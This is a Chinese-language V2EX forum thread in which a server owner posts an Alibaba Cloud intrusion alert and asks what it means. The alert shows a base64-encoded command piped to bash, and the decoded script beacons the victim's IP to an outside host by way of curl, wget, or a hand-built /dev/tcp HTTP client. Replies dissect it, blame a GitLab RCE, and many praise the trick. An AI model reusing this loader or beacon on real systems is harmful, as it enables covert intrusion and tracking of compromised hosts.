ipeony
1.09D

收到条阿里云的告警,看不懂是做什么用的,请教一下

  •  
  •   ipeony · Oct 29, 2021 · 12279 views
    This topic created in 1833 days ago, the information mentioned may be changed or developed.

    告警信息

    进程异常行为-可疑编码命令待处理
    备注
    该告警由如下引擎检测发现:
    用户名: chrony
    命令行: sh -c echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKaWYgWyAteCAiJChjb21tYW5kIC12IGN1cmwpIiBdOyB0aGVuCiAgY3VybCAtbyAvZGV2L251bGwgMjEyLjE0Ny4zMi4zNS9nY2FlLzEwMS4zNy43OC4xMDgKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAyMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOAplbHNlCiAgX19jdXJsIGh0dHA6Ly8yMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOCA+L2Rldi9udWxsCmZpCgo= | base64 -d | bash
    进程路径: /bin/dash
    进程 ID: 26803
    父进程文件路径: /usr/bin/perl
    父进程 ID: 26798
    事件说明: 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。
    

    解密后的脚本

    #!/bin/bash
    function __curl() {
      read proto server path <<<$(echo ${1//// })
      DOC=/${path// //}
      HOST=${server//:*}
      PORT=${server//*:}
      [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    
      exec 3<>/dev/tcp/${HOST}/$PORT
      echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
      (while read line; do
       [[ "$line" == $'\r' ]] && break
      done && cat) <&3
      exec 3>&-
    }
    
    if [ -x "$(command -v curl)" ]; then
      curl -o /dev/null 212.147.32.35/gcae/101.37.78.108
    elif [ -x "$(command -v wget)" ]; then
      wget -q -O- 212.147.32.35/gcae/101.37.78.108
    else
      __curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null
    fi
    
    51 replies  •  2024-04-16 20:09:29 +08:00
    janxin
    janxin
    Oct 29, 2021
    1
    明显被黑了...
    ipeony
    ipeony
    OP
    Oct 29, 2021
    2
    @janxin #1 服务器到是没啥,没明白这进程再做什么,开个 shell 后面连过来
    bfdh
    bfdh
    Oct 29, 2021
    3
    就发了一个 http 请求,其他啥都没干?
    ipeony
    ipeony
    OP
    Oct 29, 2021
    4
    @bfdh #3 没找到其他的,服务器上就跑着几个 docker 应用,这是阿里云报的,这台机器连个公网 IP 都没分配
    number
    number
    Oct 29, 2021❤️46
    5
    学到了在没有 curl 和 wget 的情况下
    还可以用这种方式下载文件
    makia98
    makia98
    Oct 29, 2021
    6
    检查一下 docker 镜像有没有问题,我有过服务器被一个 redis 镜像当肉鸡的经历
    ipeony
    ipeony
    OP
    Oct 29, 2021
    7
    @makia98 #6 嗯,redis 这个以前见过。这台机器主要跑 gitlab ,拿官方镜像跑的,快两年没动过了
    v26657
    v26657
    Oct 29, 2021
    8
    你已经被干了,一般是要下载 shell 上线脚本统一管理像你这种的肉鸡
    v26657
    v26657
    Oct 29, 2021
    9
    gitlab 最近刚好报了一个漏洞
    holinhot
    holinhot
    Oct 29, 2021
    10
    @bfdh 估计是当肉鸡 CC 别人
    holinhot
    holinhot
    Oct 29, 2021
    11
    还能 dev/tcp/ 这么玩,学到了
    illl
    illl
    Oct 29, 2021 via iPhone
    12
    @ipeony gitlab 存在 rce 漏洞,赶紧修了吧
    GrayXu
    GrayXu
    Oct 29, 2021
    13
    /dev/tcp/的一万种用法之……
    mingl0280
    mingl0280
    Oct 29, 2021 via Android
    14
    /dev/tcp 还能这么用
    ipeony
    ipeony
    OP
    Oct 29, 2021
    15
    @illl #12 嗯,已经升级过了,本来就用 docker 跑的
    cweijan
    cweijan
    Oct 29, 2021
    16
    这个脚本很酷啊
    jptx
    jptx
    Oct 29, 2021
    17
    学到了,手动建立 TCP 连接,拼接 HTTP 请求头,下载文件,赶紧记笔记。我最近每次碰到各种奇技淫巧都是从各种木马里学到的
    1BF6oSYCD9ngBHo1
    1BF6oSYCD9ngBHo1
    Oct 29, 2021❤️4
    18
    我感觉楼主可以忽略这个东西,让入侵者继续操作,因为从脚本来,看他的操作确实有点骚有点秀了,让他玩下去说不定会有更有趣的事情发生!
    a22271001
    a22271001
    Oct 29, 2021
    19
    @vinle 然后楼主的数据库空了,只留下一段加密钱包地址(doge
    DawnMoon
    DawnMoon
    Oct 29, 2021 via Android
    20
    感觉好多系统没有 /dev/tcp 这个设备
    mikywei
    mikywei
    Oct 29, 2021
    21
    所以云厂商无时无刻不在检测着用户的数据吗?真没安全感,感觉能随时取走用户的任何文件似的。
    Alexonx
    Alexonx
    Oct 29, 2021 via Android
    22
    @villivateur 这个并不是一个设备,应该是 bash 提供的 feature ,允许通过这种方式发起 socket 连接。实际上这个设备应该是不存在的.....用其他 shell 也不一定能跑
    ipeony
    ipeony
    OP
    Oct 29, 2021
    23
    @vinle #18 老实说我没发现有什么影响,当然可能数据泄漏光了(然而也没啥敏感的东西),或者被拿来挖矿(也没发现这个迹象),又或者上面有人提到的拿来 CC 别人(已经被我精致访问外网了
    sola97
    sola97
    Oct 29, 2021
    24
    这个 curl 保存了
    cz5424
    cz5424
    Oct 29, 2021
    25
    值得学习的一个 bash
    dushixiang
    dushixiang
    Oct 29, 2021
    26
    收藏了,为了这个 curl 脚本
    ETiV
    ETiV
    Oct 29, 2021 via iPhone❤️2
    27
    非常魔性的写法,sentry docker-compose 部署方式下,健康检查就是用这种方式实现的…装个 curl 就这么难吗🤦‍♂️

    https://github.com/getsentry/onpremise/blob/master/docker-compose.yml#L298
    Radiation
    Radiation
    Oct 29, 2021
    28
    反弹 shell 用的
    maskerTUI
    maskerTUI
    Oct 29, 2021
    29
    写这脚本的人是高手
    zwgf
    zwgf
    Oct 29, 2021
    30
    自己实现 curl ,这个黑阔可以
    scyuns
    scyuns
    Oct 29, 2021
    31
    学习了 跟着黑阔学技术
    oser
    oser
    Oct 29, 2021
    32
    有意思,学习了
    wellsc
    wellsc
    Oct 29, 2021
    33
    哈哈哈
    kwanzaa
    kwanzaa
    Oct 29, 2021
    34
    哈哈哈哈 学到了
    labulaka521
    labulaka521
    Oct 29, 2021
    35
    为什么 linux 上没有 /dev/tcp 这个呢
    labulaka521
    labulaka521
    Oct 29, 2021
    36
    kugouo4
    kugouo4
    Oct 29, 2021
    37
    v2ex 之跟着黑客学技术,妈妈再也不用担心容器里没有 curl 和 wget 了
    cxy2244186975
    cxy2244186975
    Oct 29, 2021
    38
    乌云幸存白帽子路过……
    XLeopard
    XLeopard
    Oct 29, 2021
    39
    学到了
    ericwood067
    ericwood067
    Oct 29, 2021❤️1
    40
    这个脚步并没有单独干什么,只是把你的 IP 地址 101.37.78.108 上报给了他们的服务器 http://212.147.32.35/gcae/,主要是看看有没有后续操作。
    cache
    cache
    Oct 29, 2021
    41
    @labulaka521 /dev/tcp 是 bash 内置的 和 linux 没关系,换 zsh 就跑不起来了
    Davic1
    Davic1
    Oct 29, 2021
    42
    @ericwood067 #40 请教一下~ 哪里可以判断出 101 那个就是楼主的 Host IP 呢?
    ericwood067
    ericwood067
    Oct 29, 2021❤️2
    43
    @Davic1 这个脚本的作用是和主机 212.147.32.35 建立了一条 tcp 链接,然后使用 httpGet 方法访问了 /gcae/101.37.78.108 这个路径,212 主机返回的结果直接被丢进了 /dev/null 里,所以肯定不是想从 212 主机获取什么东西;/gcae 应该是 212 主机上部署的一个服务的 gateway ,所以 101 应该就是楼主的 Host Ip 。不然做这个操作就没有任何道理了。
    Davic1
    Davic1
    Oct 29, 2021
    44
    @ericwood067 #43 感谢~
    zouri
    zouri
    Oct 29, 2021
    45
    各种奇怪的用法真是活到老学到老
    pjntt
    pjntt
    Oct 30, 2021
    46
    感觉这个是防盗版的做法吧?校验 IP 是否被授权了?
    IMengXin
    IMengXin
    Oct 30, 2021
    47
    阿里云一直警告我 frps.exe ,很有可能与木马、病毒、黑客行为有关。
    scukmh
    scukmh
    Oct 30, 2021
    48
    学到了
    spinecho
    spinecho
    Oct 30, 2021
    49
    m 学到了
    hukei
    hukei
    Apr 12, 2024
    50
    核心就是 /dev/tcp
    tyit
    tyit
    Apr 16, 2024
    51
    这个脚本的作用是从指定的服务器( IP 地址为 212.147.32.35 )下载或获取一些数据。它首先尝试使用 curl 命令来获取数据,如果 curl 不可用,则尝试使用 wget 命令,最后如果 wget 也不可用,则使用自定义的__curl 函数来获取数据。

    具体来说,它执行以下步骤:

    定义了一个__curl 函数,用于通过 HTTP 协议从指定的服务器获取数据。这个函数会解析输入的 URL ,提取出协议、服务器地址和路径,并使用/dev/tcp 特殊文件来建立 TCP 连接到服务器,并发送 HTTP GET 请求,最后将响应内容输出到标准输出。

    然后,它检查系统中是否安装了 curl 命令,如果安装了,则使用 curl 来获取数据,将数据写入到/dev/null ,即丢弃该数据,因为 curl 的输出已经被重定向到/dev/null ,所以用户不会看到输出。

    如果 curl 不可用,则检查系统中是否安装了 wget 命令,如果安装了,则使用 wget 来获取数据,并将数据输出到标准输出( STDOUT )。

    如果既没有 curl 也没有 wget ,则调用自定义的__curl 函数来获取数据,将数据输出到/dev/null ,同样是为了不显示数据到用户终端。

    综合来说,这个脚本的目的是从指定的服务器获取数据,但是更倾向于使用 curl 或 wget 命令来实现。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   3662 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 103ms · UTC 05:22 · PVG 13:22 · LAX 21:22 · JFK 00:22
    ♥ Do have faith in what you're doing.